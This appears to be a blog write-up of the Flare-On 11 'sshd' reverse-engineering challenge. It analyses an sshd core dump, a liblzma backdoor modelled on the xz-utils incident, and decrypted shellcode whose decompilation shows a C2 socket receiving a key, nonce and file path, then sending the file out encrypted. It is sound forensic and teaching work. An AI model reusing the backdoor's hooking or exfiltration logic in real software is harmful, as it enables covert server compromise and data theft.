Description
sshd was the 5th challenge in this years flare-on competition, Flare-On 11
i am writing this after the competition, and the challenge descriptions are no longer available, but tthe official description was along the lines of:
“some hackers broke into our server and stole some data… they crashed our server… blah blah blah find the data”
competitors are given the “full” file system dump of the server that was compromised
Writeup
analyzing the file system, we eventually come across an ssh core dump.
/var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
given the title of the challenge “sshd”, and the challenge description, this core dump is more than likely exactly what we are looking for.
the best way to analyze the core dump is by the use of gdb. from the root of the file system dump we can execute:
gdb usr/sbin/sshd var/lib/systemd/coredump/sshd.core.93794.0.0.11.172591767
this loads the coredump and specifies sshd as the target process
since we are not using the provided system dump as a docker image (intended way), lets go ahead and set the sysroot to the dumped file system so all libs are imported correctly
set sysroot .
Coredump
since we are analyzing a core dump, the first gdb command to run is bt
, short for backtrace
by definition, backtrace “Prints backtrace of all stack frames, or innermost COUNT frames.”
analyzing the stack frames allows us to determine where and why the program crashed, reversing through the stack to determine exactly what was executed.
what immediately pops out to me is liblzma.so.5
, think back a couple of months, depending on when you are reading this, a couple years even. a developer at microsoft discovered a backdoor in xz-utils liblzma that would have allowed unrestricted access to any device running openssh. if you dont remember this, simple looking up “liblzma ssh” on google will yield fruitful results. if you are lazy, here is a recap of the vulnerability coined CVE-2024-3094.
anyways, continuing with the analysis we run
frame 1
to load the last frame before null dereference
info reg
to take a peak at the registers at the time of the crash
currently the registers dont mean much to us without having debugged the coredump, but it is good to take a peak at them beforehand, especially the current rip value.
following some enumeration of the stack frame i find that the crash occurs @ 0x7f4a18c8f88d
, a call to $rax. $rax being zeroed out in this case:
to get a bigger picture, lets find the start of the function and see what was performed. we endbr64
@ 0x7f4a18c8f820
signifying the start of the function
(gdb) x/32i 0x7f4a18c8f820
0x7f4a18c8f855: xor eax,eax
0x7f4a18c8f857: call 0x7f4a18c8a830 <getuid@plt>
0x7f4a18c8f85c: lea rsi,[rip+0x19f79] # 0x7f4a18ca97dc
0x7f4a18c8f863: test eax,eax
0x7f4a18c8f865: jne 0x7f4a18c8f877
0x7f4a18c8f867: cmp DWORD PTR [rbp+0x0],0xc5407a48
0x7f4a18c8f86e: je 0x7f4a18c8f8c0
0x7f4a18c8f870: lea rsi,[rip+0x19f51] # 0x7f4a18ca97c8
0x7f4a18c8f877: xor edi,edi
0x7f4a18c8f879: call 0x7f4a18c8acf0 <dlsym@plt>
keeping in mind the calling convention for dlsym:
void *dlsym(void *restrict handle, const char *restrict symbol);
checking out the potential symbols loaded into rsi:
this loosely translates into the following psuedo-c:
int uid;
char symbol[] = "RSA_public_decrypt"
uid = getuid(void);
if (uid == 0) {
if (unknown == 0xc5407a48) {
unknown_func();
}
symbol = "RSA_public_decrypt ";
}
dlsym(0, symbol);
there are two posibilities, if the user id of the calling process is anything other than 0, the address of symbol "RSA_public_decrypt"
will be resolved. if the user id of the calling process IS root, the address of the symbol "RSA_public_decrypt "
(added space at the end) will be resolved. admittedly i do not have much reversing experience with backdoors and malware, but this is a dead giveaway of malicious activity.
this seems to answer our first question of why did the program crash?:
my immediate assumption is that the malicious symbol was attempted to be resolved by dlysym, but was unable to be resolved leading to the null ptr call crashing the program
we still have this unknown function to account for that is called if the following condition is met:
cmp DWORD PTR [rbp+0x0],0xc5407a48
checking the current value of $rbp:
(gdb) x/x $rbp
0x55b46d51dde0: 0xc5407a48
in the case of this execution the condition was met, meaning this jump was taken.. lets look at the exexecuted block: (gdb) x/42i 0x7f4a18c8f8c0
there is a lot going on here, well not really. we can start by analyzing the bytes moved into registers from the stack, as well as the additional functions that are called. we dont find anything of interest in the first few instructions, but in the call to 0x7f4a18c8f3f0
we find a constant value that gives us a big hint as to what is going on:
movabs rdi,0x3320646e61707865
...
movabs rdi,0x6b20657479622d32
the absolute value that rdi is set to in both instances are constants used in the ChaCha20 stream cipher. analyzing the function further in ghidra confirms our theory. reviewing how the chacha20 stream cipher works, we reference the python3 cryptodome documentation for a quick overview.
sparing you some time, stream ciphers work by generating the cipher stream given a key, in this case a key and nonce, then encrypts the data byte by byte using the stream cipher. stream ciphers are linear, meaning that the same key will both encrypt and decrypt the message.
Analyzing liblzma.so.5.4.1
based on the core dump we can confidently say something malicious is happening in the liblzma lib. to begin our analysis we will slap the .so into ghidra. we have some base strings to go off of, so we can simply Search-->For strings...
and filter for “RSA_”
once we find our strings we can navigate to them and look at the references to the strings to find the relevant function
based on our previous discoveries:
- sus dynamic resolution
- chacha20 stream cipher
we can clean up the decompilation a bit and do some guess work:
Lets go over this screenshot before moving further..
- Check for UID 0
- Check for param2 specific value, malicious trigger value
- Initialize ChaCha20 cipher
- Dynamically allocate some data for malicious function
- Decrypt bytes “&malicious”
- Execute decrypted bytes
- Initialize ChaCha20 cipher
- Re-encrypt malicious bytes
- Dynamically resolve “RSA_public_decrypt "
armed with this information we should be able to find and decrypt the bytes that are executed
Decrypting malicious function
i am going to go into detail as much as possible without skipping any steps, if you are more experienced you can gloss over this, if not this may be good material to learn from.
x86 calling convention is as follows:
func($rdi,$rsi,$rdx,$rcx,$r8,$r9,the rest passed from stack..);
rax is typically the return value from the previously called function
focusing on one piece at a time we will start with how much memory is allocated so we can determine the size of the malicious code
0x7f4a18c8f8e7: xor r9d,r9d
0x7f4a18c8f8ea: mov ecx,0x22
0x7f4a18c8f8ef: xor edi,edi
0x7f4a18c8f8f1: movsxd rsi,DWORD PTR [rip+0x28a68] # 0x7f4a18cb8360
0x7f4a18c8f8f8: mov r8d,0xffffffff
0x7f4a18c8f8fe: mov edx,0x7
0x7f4a18c8f903: call 0x7f4a18c8a840 <mmap@plt>
0x7f4a18c8f908: movsxd rdx,DWORD PTR [rip+0x28a51] # 0x7f4a18cb8360
0x7f4a18c8f90f: lea rsi,[rip+0x1a04a] # 0x7f4a18ca9960
0x7f4a18c8f916: mov rdi,rax
0x7f4a18c8f919: call 0x7f4a18c8a9e0 <memcpy@plt>
void *mmap(void addr[.length], size_t length, int prot, int flags,
int fd, off_t offset);
void *memcpy(void dest[restrict .n], const void src[restrict .n],
size_t n);
lets reconstruct the call to mmap and memcpy ourselves, even though ghidra does it for us sometimes ghidra can be wrong, always good to double check:
dest = mmap(0x0, 0x0f96, 0x7, 0x22, -1, 0);
memcpy(dest, 0x7f4a18ca9960, 0x0f96);
we know that a memory block of 0x0f96 is being allocated, after allocation a block of memory is copied into the newly allocated region. directly following the call to memcpy:
0x7f4a18c8f91e: movsxd rdx,DWORD PTR [rip+0x28a3b] # 0x7f4a18cb8360
0x7f4a18c8f925: mov rdi,r15
0x7f4a18c8f928: mov rsi,rax
0x7f4a18c8f92b: mov QWORD PTR [rsp+0x8],rax
0x7f4a18c8f930: call 0x7f4a18c8f520
0x7f4a18c8f935: mov r8,QWORD PTR [rsp+0x8]
0x7f4a18c8f93a: xor eax,eax
0x7f4a18c8f93c: call r8
- $rax is moved into rsi
- $rax, which holds the location of the malicious code is is moved onto the stack at $rsp+0x8
- the ChaCha20 function is called, decrypting the function
- the function location is moved into $r8
- $r8 is called
armed with this information the final steps before decrypting the malicious function are determining the data used to initialize the ChaCha20 cipher
0x7f4a18c8f8c0: lea r11,[rbp+0x24]
0x7f4a18c8f8c4: lea r10,[rbp+0x4]
0x7f4a18c8f8c8: xor ecx,ecx
0x7f4a18c8f8ca: lea r15,[rsp+0x20]
0x7f4a18c8f8cf: mov rdx,r11
0x7f4a18c8f8d2: mov rsi,r10
0x7f4a18c8f8d5: mov QWORD PTR [rsp+0x18],r11
0x7f4a18c8f8da: mov rdi,r15
0x7f4a18c8f8dd: mov QWORD PTR [rsp+0x10],r10
0x7f4a18c8f8e2: call 0x7f4a18c8f3f0
while it is unlikely that the stack values align perfectly, we are hopeful that the register values still hold true as these instructions were executed not long before the program crashed. our main focus in this case is $rdi
, $rsi
, $rdx
within gdb lets execute info reg
to check out the register values:
rax 0x0 0
rbx 0x1 1
rcx 0x55b46d58e080 94233417015424
rdx 0x55b46d58eb20 94233417018144
rsi 0x55b46d51dde0 94233416556000
rdi 0x200 512
rbp 0x55b46d51dde0 0x55b46d51dde0
rsp 0x7ffcc6601ea0 0x7ffcc6601ea0
$rdi is set to an interesting int value of 512, while $rsi and $rdx are both set to addresses. reviewing them we see that $rdx is a zeroed out region, and $rsi contains what seems to be random bytes:
(gdb) x/10gx $rsi
0x55b46d51dde0: 0x38f63d94c5407a48 0xa51863dee21318a8
0x55b46d51ddf0: 0x7b8abb2dbaa0f907 0x5ea6118dd06636a6
0x55b46d51de00: 0x9f8336f26fd614c9 0x552986521a71cd4d
0x55b46d51de10: 0x0dc2a7f9b7d15858 0x9605a3ea190ede36
0x55b46d51de20: 0x418f170db9b959da 0xdcb50715eb7e3d42
(gdb) x/10gx $rdx
0x55b46d58eb20: 0x0000000000000000 0x0000000000000000
0x55b46d58eb30: 0x0000000000000000 0x0000000000000000
0x55b46d58eb40: 0x0000000000000000 0x0000000000000000
0x55b46d58eb50: 0x0000000000000000 0x0000000000000000
0x55b46d58eb60: 0x0000000000000000 0x0000000000000000
examining the value at $rsi further, we see that it is 0x200 bytes in size lets dump this memory to a file for later use
(gdb) dump memory rsi $rsi $rsi+512
if you are unfamiliar with the command used reference (gdb) help dump memory
:)
looking closely, we also notice this is the same data that was used to determine if the program should begin malicious execution or not 487a 40c5
up until now we have been looking passed exactly what is actually happening to trigger this execution, like where did this data even come from?
Navigating to the previous stack frame, frame #2 using (gdb) frame 2
, we look at the execution trace and notice that the program is calling <RSA_public_decrypt@plt>
, which then triggers the conditional function we were looking at earlier in ghidra. This is where the backdoor actually begins working, when a client is authenticating to the server, the server calls the RSA public decrypt function from the PLT. in order for the malicious function to be called, there must have been some control flow tampering done such as manipulating the GOT or the PLT or applying a function hook to redirect/manipulate exexecution. if we refer to the man page for this function we can see the calling convention:
int RSA_public_decrypt(int flen, unsigned char *from,
unsigned char *to, RSA *rsa, int padding);
referencing the stack trace we have:
0x55b46c78679c: mov r9,QWORD PTR [rsp+0x8]
0x55b46c7867a1: mov rsi,QWORD PTR [rsp+0x18]
0x55b46c7867a6: mov rcx,rbx
0x55b46c7867a9: mov rdx,rax
0x55b46c7867ac: mov r8d,0x1
0x55b46c7867b2: mov r12d,0xffffffea
0x55b46c7867b8: mov edi,r9d
0x55b46c7867bb: call 0x55b46c6e62b0 <RSA_public_decrypt@plt>
so the value that we are referencing in $rsi represents the data unsigned char *from
in the real RSA_public_decrypt
call.
so far this malicious backdoor operates almost exactly as did the “real life” backdoor that was installed in xz-utils. one difference i will note is that this implementation of the backdoor is using the from
value of the function rather than the *RSA struct.
back to decrypting the shellcode.
looking at the instruction execution sequence before “ChaCha20_init”:
0x7f4a18c8f8c0: lea r11,[rbp+0x24]
0x7f4a18c8f8c4: lea r10,[rbp+0x4]
0x7f4a18c8f8c8: xor ecx,ecx
0x7f4a18c8f8ca: lea r15,[rsp+0x20]
0x7f4a18c8f8cf: mov rdx,r11
0x7f4a18c8f8d2: mov rsi,r10
0x7f4a18c8f8d5: mov QWORD PTR [rsp+0x18],r11
0x7f4a18c8f8da: mov rdi,r15
0x7f4a18c8f8dd: mov QWORD PTR [rsp+0x10],r10
0x7f4a18c8f8e2: call 0x7f4a18c8f3f0
focus on:
lea r11, [rbp+0x24]
lea r10, [rbp+0x04]
...
mov rdx, r11
mov rsi, r10
the data we have been examining in $rsi, $rbp also points to this data:
rsi 0x55b46d51dde0 94233416556000
rbp 0x55b46d51dde0 0x55b46d51dde0
based on this we can assume that chacha20 is initialized as such:
cipher = ChaCha20.new(key=[rbp+0x04], nonce=[rbp+0x36])
lets extract the encrypted payload so we can decrypt it!
(gdb) dump memory encrypted 0x7f4a18ca9960 0x7f4a18ca9960+0x0f96
following the pycryptodome documentation for ChaCha20 we create the following decryptor:
decrypt.py
#!/usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import ChaCha20
with open("rsi", "rb") as f:
key_data = f.read()
f.close()
with open("encrypted", "rb") as f:
encrypted = f.read()
f.close()
cipher = ChaCha20.new(key=key_data[4:36], nonce=key_data[36:48])
decrypted = cipher.decrypt(encrypted)
with open("decrypted", "wb") as f:
f.write(decrypted)
f.close()
print("[+] done")
unfortunately the decrypted data is not the flag, but, it is instead shellcode! lets disassemble and decompile it in ghidra. open the decrypted file in ghidra and specify the language as x86 64 gcc. ghidra wont automatically disassemble the program, so click on the first instruction and press “d”, this should disassemble the entire program in one go.
the program doesnt look very interesting at first glance, thats because the first function we see is just to call the main function
void UndefinedFunction_00000000(void)
{
FUN_00000dc2();
return;
}
jump into FUN_00000dc2()
and this is where the FUN begins haha get it
ahem sorry
Finding the stolen data (flag)
the decompilation of the main function of the program is pretty ugly at first glance
undefined8 FUN_00000dc2(undefined8 param_1,undefined8 param_2)
{
char cVar1;
undefined4 uVar2;
long lVar3;
char *pcVar4;
byte bVar6;
undefined local_12a0 [32];
undefined local_1280 [61];
undefined uStack_1243;
char local_1170 [4228];
int local_ec;
char *pcVar5;
bVar6 = 0;
uVar2 = FUN_0000001a(param_1,param_2,0x539);
syscall();
syscall();
syscall();
syscall();
uStack_1243 = 0;
syscall();
syscall();
lVar3 = -1;
pcVar5 = local_1170;
do {
pcVar4 = pcVar5;
if (lVar3 == 0) break;
lVar3 = lVar3 + -1;
pcVar4 = pcVar5 + (ulong)bVar6 * -2 + 1;
cVar1 = *pcVar5;
pcVar5 = pcVar4;
} while (cVar1 != '\0');
local_ec = ~(uint)lVar3 - 1;
FUN_00000cd2(pcVar4,local_1170,local_12a0,local_1280,0,0);
FUN_00000d49();
syscall();
syscall();
FUN_0000000b(uVar2,local_1170,local_ec);
FUN_0000008f();
return 0;
}
to clean this up we can navigate to the script manager in ghidra, filter for syscall and run the ResolveX86orX64LinuxSyscallsScript.java
script.. (i had to edit the script to exclude the ELF header check)
now we have a much more clean looking shellcode decompilation:
performing further analysis on the decrypted shellcode, we gain an understanding on how the attackers interacted with the backdoor and how data was exfiltrated. in the “real world” xz-utils backdoor, the attackers specified what type of action they wanted to take against the infected system when they initiated the ssh connection. refer to the following article for a better explanation.
in this case, the backdoor initiates a socket connection and executes recvfrom()
to recieve commands from the remote attacker.
paying attention the following snippet:
__fd = init_socket(param_1,param_2,0x539);
recvfrom(__fd,local_12a0,32,0,(sockaddr *)0x0,(socklen_t *)0x0);
recvfrom(__fd,local_1280,12,0,(sockaddr *)0x0,(socklen_t *)0x0);
recvfrom(__fd,&local_f0,4,0,(sockaddr *)0x0,(socklen_t *)0x0);
sVar2 = recvfrom(__fd,local_1270,(ulong)local_f0,0,(sockaddr *)0x0,(socklen_t *)0x0);
local_1270[(int)sVar2] = '\0';
__fd_00 = open(local_1270,0,0);
read(__fd_00,local_1170,128);
without diving too deep into whats happening, the first two sizes specified in recvfrom
are 32 and 12, the same sizes of a key and nonce for the ChaCha20 stream cipher. the third call to recvfrom stores the result in &local_f0, which is then used as a size for the following recvfrom
call. this could be used to specify the size of the string they are going to pass in the next and final recvfrom
call.
the string in the 4th and final recvfrom
call is terminated and passed to open, where 128 bytes are then read from the file.
with the large distance from $rsp, these values could very well still be present on the stack, lets go search for them in the coredump..
Searching for c2 commands
the stack is more than likely misalligned in its current state, but we can assume that the values will be relatively close to their original location due to the small amount of execution between the backdoor and the crash point.
$rsp-0x1270
shows a partial string, and with some simple enumeration we find that the file exfiltrated is now located at $rsp-0x1288
. this is great, as we can now determine where the exfiltrated data lies in memory and we know the file that was exfiltrated!
Encryption of exfiltrated data
now focusing on the next part of the malicious shellcode:
FUN_00000cd2(pcVar4,local_1170,local_12a0,local_1280);
FUN_00000d49();
sendto(__fd,local_ec,4,0,(sockaddr *)0x0,0);
sendto(__fd,local_1170,(ulong)local_ec[0],0,(sockaddr *)0x0,0);
this looks extremely similar to the ChaCha20 initialization that we saw earlier in the backdoor. we know that local_12a0 holds a value of 32 and local_1280 holds a value of 12. analyzing FUN_00000cd2()
and the subfunctions called within reveal that it is indeed a form of encryption. reviewing the entire execution is out of scope for this writeup, but due to the following constant:
we can confidently say this is a ChaCha20 stream cipher encryption function. similar to how we saw in the first steps of the backdoor, the exfiltrated data is first encrypted with the key and nonce specified by the attacker, then send to the attacker using the sendto
function calls over the socket.
Decrypting exfiltrated data
before we can decrypt the exfiltrated data we need to first find the data, the key and the nonce. referencing the following code:
recvfrom(__fd,local_12a0,32,0,(sockaddr *)0x0,(socklen_t *)0x0);
recvfrom(__fd,local_1280,12,0,(sockaddr *)0x0,(socklen_t *)0x0);
recvfrom(__fd,&local_f0,4,0,(sockaddr *)0x0,(socklen_t *)0x0);
sVar2 = recvfrom(__fd,local_1270,(ulong)local_f0,0,(sockaddr *)0x0,(socklen_t *)0x0);
local_1270[(int)sVar2] = '\0';
__fd_00 = open(local_1270,0,0);
read(__fd_00,local_1170,128);
we know that the locations on the stack will be offset by 0x18.
(gdb) dump memory chacha20_key $rsp-0x12b8 $rsp-(0x12b8-32)
(gdb) dump memory chacha20_nonce $rsp-0x1298 $rsp-(0x1298-12)
(gdb) dump memory chacha20_data $rsp-0x1188 $rsp-(0x1188-128)
modify our decrypt.py program:
#!/usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import ChaCha20
with open("chacha20_key", "rb") as f:
key = f.read()
f.close()
with open("chacha20_nonce", "rb") as f:
nonce = f.read()
f.close()
with open("chacha20_data", "rb") as f:
encrypted = f.read()
f.close()
cipher = ChaCha20.new(key=key, nonce=nonce)
decrypted = cipher.decrypt(encrypted)
with open("decrypted_flag", "wb") as f:
f.write(decrypted)
f.close()
print("[+] done")
and run it!
$ cat decrypted_flag
(E[]x|]^tR}A%NC;v
5q~1)m5mK<ë° @vqU6sN)«"lVJ*u_bC
thats clearly not a flag. so what went wrong?
saving you from a headache, after careful enumeration of the encryption function we will notice that the constant used is:
expand 32-byte K
well, the constant used in ChaCha20 is:
expand 32-byte k
(lower-case k)
to overcome this we can use this chacha20 C implementation, modifying chacha20.c
changing the magic constant from the lowecase k to uppercase K, then writing the following decrypt C program:
#include "chacha20.h"
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd;
int c;
uint64_t counter;
uint8_t key[32];
uint8_t nonce[12];
uint8_t data[128];
struct chacha20_context ctx;
fd = open("chacha20_key", O_RDONLY);
c = read(fd, key, 32);
close(fd);
fd = open("chacha20_nonce", O_RDONLY);
c = read(fd, nonce, 12);
close(fd);
fd = open("chacha20_data", O_RDONLY);
c = read(fd, data, 128);
close(fd);
chacha20_init_context(&ctx, key, nonce, counter);
chacha20_xor(&ctx, data, 128);
c = write(1, data, 128);
return 0;
}
compile the program with gcc
$ gcc -o decrypt decrypt.c chacha20.c
and get flag :)
if you made it this far thanks for reading i hope you learned a thing or two. unfortunately this is as far as i made in Flare this year. out of the 5 challenges solved this was by far my favorite which is why i included it in my writeups. goodbye!